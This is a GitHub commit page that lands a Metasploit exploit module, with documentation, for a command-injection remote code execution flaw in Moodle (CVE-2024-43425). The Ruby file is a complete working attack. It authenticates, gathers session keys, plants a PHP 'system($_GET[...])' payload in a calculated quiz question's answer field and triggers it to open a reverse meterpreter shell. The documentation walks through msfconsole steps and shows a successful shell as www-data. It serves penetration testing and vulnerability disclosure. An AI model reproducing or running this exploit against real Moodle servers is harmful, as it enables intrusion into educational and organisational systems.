Skip to content

Commit

Permalink
Land #19430, Moodle RCE (CVE-2024-43425) Module
Browse files Browse the repository at this point in the history
Land #19430, Moodle RCE (CVE-2024-43425) Module
  • Loading branch information
dledda-r7 authored Dec 6, 2024
2 parents 22ade4f + afdddf2 commit be30a06
Show file tree
Hide file tree
Showing 2 changed files with 379 additions and 0 deletions.
101 changes: 101 additions & 0 deletions documentation/modules/exploit/linux/http/moodle_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
## Vulnerable Application

This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
By default, the application will run in the context of www-data, so only a limited shell can be obtained.

Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an
existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include
`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration.

Affected versions include:
* 4.4 to 4.4.1
* 4.3 to 4.3.5
* 4.2 to 4.2.8
* 4.1 to 4.1.11

Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193).

The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is
available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/).

## Testing

Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/).
An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu).

**Successfully tested on**

- Moodle v4.4.1 on Ubuntu 20.04 LTS

## Verification Steps

1. Deploy Moodle
2. Start `msfconsole`
3. `use exploit/linux/http/moodle_rce`
4. `set USERNAME <USER>`
5. `set PASSWORD <PASSWORD>`
6. `set CMID <ID>`
7. `set COURSEID <ID>`
8. `set RHOSTS <IP>`
9. `set LHOST <IP>`
10. `exploit`

## Options

### USERNAME
The username to authenticate with in Moodle.

### PASSWORD
The password for the user.

### CMID
The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course
(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4).

### COURSEID
The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3).

## Scenarios

Running the module against Moodle v4.4.1 should result in an output similar to the following:

```
msf6 > use exploit/linux/http/moodle_rce
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser
USERNAME => testuser
msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD
PASSWORD => iusldbf843498fKJASD
msf6 exploit(linux/http/moodle_rce) > set CMID 2
CMID => 2
msf6 exploit(linux/http/moodle_rce) > set COURSEID 2
COURSEID => 2
msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141
RHOSTS => 192.168.217.141
msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128
LHOST => 192.168.217.128
msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit
[*] Started reverse TCP handler on 192.168.217.128:4444
[*] Obtaining MoodleSession and logintoken...
[+] Server reachable.
[*] Authenticating as testuser...
[*] Successfully authenticated.
[*] Obtaining sesskey, courseContextId, and category...
[*] Injecting command...
[*] Sending stage (3045380 bytes) to 192.168.217.141
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400
[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/moodle_rce) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : 192.168.217.141
OS : Ubuntu 24.04 (Linux 6.8.0-41-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
```
278 changes: 278 additions & 0 deletions modules/exploits/linux/http/moodle_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,278 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)',
'Description' => %q{
This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions.
},
'License' => MSF_LICENSE,
'Author' => [
'Michael Heinzl', # MSF Module
'RedTeam Pentesting GmbH', # Discovery and PoC
],
'References' => [
[ 'URL', 'https://blog.redteam-pentesting.de/2024/moodle-rce/'],
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/'],
[ 'URL', 'https://moodle.org/mod/forum/discuss.php?d=461193'],
[ 'CVE', '2024-43425']
],
'DisclosureDate' => '2024-08-27',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'linux' ],
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
'Type' => :unix_cmd
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']),
OptString.new('PASSWORD', [true, 'Password for the user']),
OptInt.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3)']),
OptInt.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., <IP>/moodle/mod/quiz/edit.php?cmid=4)']),
OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/'])
]
)
end

def exploit
execute_command(payload.encoded)
end

def execute_command(cmd)
print_status('Obtaining MoodleSession and logintoken...')

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1')
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200

print_good('Server reachable.')

moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
vprint_status("MoodleSession: #{moodlesession}")

html = res.get_html_document
logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1]
fail_with(Failure::UnexpectedReply, 'logintoken not found.') unless logintoken
vprint_status("logintoken: #{logintoken}")

print_status("Authenticating as #{datastore['USERNAME']}...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'),
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}",
'keep_cookies' => true
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'anchor' => nil,
'logintoken' => logintoken,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
vprint_status("MoodleSession: #{moodlesession}")

moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1]
fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1
vprint_status("MOODLEID1_: #{moodleid1}")

html = res.get_html_document
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('index.php?testsession=')
print_status('Successfully authenticated.')
testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1]
vprint_status("testsession: #{testsession}")

res = send_request_cgi(
'method' => 'GET',
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}")
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/'))

print_status('Obtaining sesskey, courseContextId, and category...')
vprint_status('Obtaining sesskey...')
res = send_request_cgi(
'method' => 'GET',
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}")
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200

html = res.get_html_document
sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1]
fail_with(Failure::UnexpectedReply, 'sesskey not found.') unless sesskey
vprint_status("sesskey: #{sesskey}")

course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1]
fail_with(Failure::UnexpectedReply, 'courseContextId not found.') unless course_context_id
vprint_status("courseContextId: #{course_context_id}")

category = html.to_s.match(/;category=(\d+)/)[1]
fail_with(Failure::UnexpectedReply, 'category not found.') unless category
vprint_status("category: #{category}")

print_status('Injecting command...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php'),
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'initialcategory' => '1',
'reload' => '1',
'shuffleanswers' => '1',
'answernumbering' => 'abc',
'mform_isexpanded_id_answerhdr' => '1',
'noanswers' => '1',
'nounits' => '1',
'numhints' => '2',
'synchronize' => nil,
'wizard' => 'datasetdefinitions',
'id' => nil,
'inpopup' => '0',
'cmid' => datastore['CMID'].to_s,
'courseid' => datastore['COURSEID'].to_s,
'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
'mdlscrollto' => '0',
'appendqnumstring' => 'addquestion',
'qtype' => 'calculated',
'makecopy' => '0',
'sesskey' => sesskey.to_s,
'_qf__qtype_calculated_edit_form' => '1',
'mform_isexpanded_id_generalheader' => '1',
'mform_isexpanded_id_unithandling' => '0',
'mform_isexpanded_id_unithdr' => '0',
'mform_isexpanded_id_multitriesheader' => '0',
'mform_isexpanded_id_tagsheader' => '0',
'category' => "#{category},#{course_context_id}",
'name' => Rex::Text.rand_text_alpha(6..10),
'questiontext[text]' => '<p>{b}</p>',
'questiontext[format]' => '1',
'questiontext[itemid]' => rand(424810000..424819999), # '424815274',
'status' => 'ready',
'defaultmark' => '1',
'generalfeedback[text]' => nil,
'generalfeedback[format]' => '1',
'generalfeedback[itemid]' => rand(940090000..940099999), # '940093981',
'idnumber' => nil,
'answer[0]' => '(1)->{system($_GET[chr(97)])}',
'fraction[0]' => '1.0',
'tolerance[0]' => '0.01',
'tolerancetype[0]' => '1',
'correctanswerlength[0]' => '2',
'correctanswerformat[0]' => '1',
'feedback[0][text]' => nil,
'feedback[0][format]' => '1',
'feedback[0][itemid]' => rand(738790000..738799999), # '738798744',
'unitrole' => '3',
'penalty' => rand(0.1333333..0.7333333), # '0.3333333',
'hint[0][text]' => nil,
'hint[0][format]' => '1',
'hint[0][itemid]' => rand(562440000..562449999), # '562446571',
'hint[1][text]' => nil,
'hint[1][format]' => '1',
'hint[1][itemid]' => rand(161670000..161679999), # '161675382',
'tags' => '_qf__force_multiselect_submission',
'submitbutton' => 'Save+changes'
}
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

html = res.get_html_document
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated')

location_header = res.headers['Location']
id = location_header && location_header.match(/&id=(\d+)/)
id = id[1] if id
fail_with(Failure::UnexpectedReply, 'ID not found.') unless id
vprint_status("id value: #{id}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php?wizardnow=datasetdefinitions'),
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'id' => id.to_s,
'inpopup' => '0',
'cmid' => datastore['CMID'].to_s,
'courseid' => datastore['COURSEID'].to_s,
'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
'mdlscrollto' => '0',
'appendqnumstring' => 'addquestion',
'category' => "#{category},#{course_context_id}",
'wizard' => 'datasetitems',
'sesskey' => sesskey.to_s,
'_qf__question_dataset_dependent_definitions_form' => '1',
'dataset[0]' => '0',
'dataset[1]' => '1-0-x',
'synchronize' => '0',
'submitbutton' => 'Next+page'
}
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

html = res.get_html_document

fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/')

cmd2 = URI.encode_www_form_component(cmd)
res = send_request_cgi(
'method' => 'GET',
'headers' => {
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
},
'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}")
)

fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
end
end

0 comments on commit be30a06

Please sign in to comment.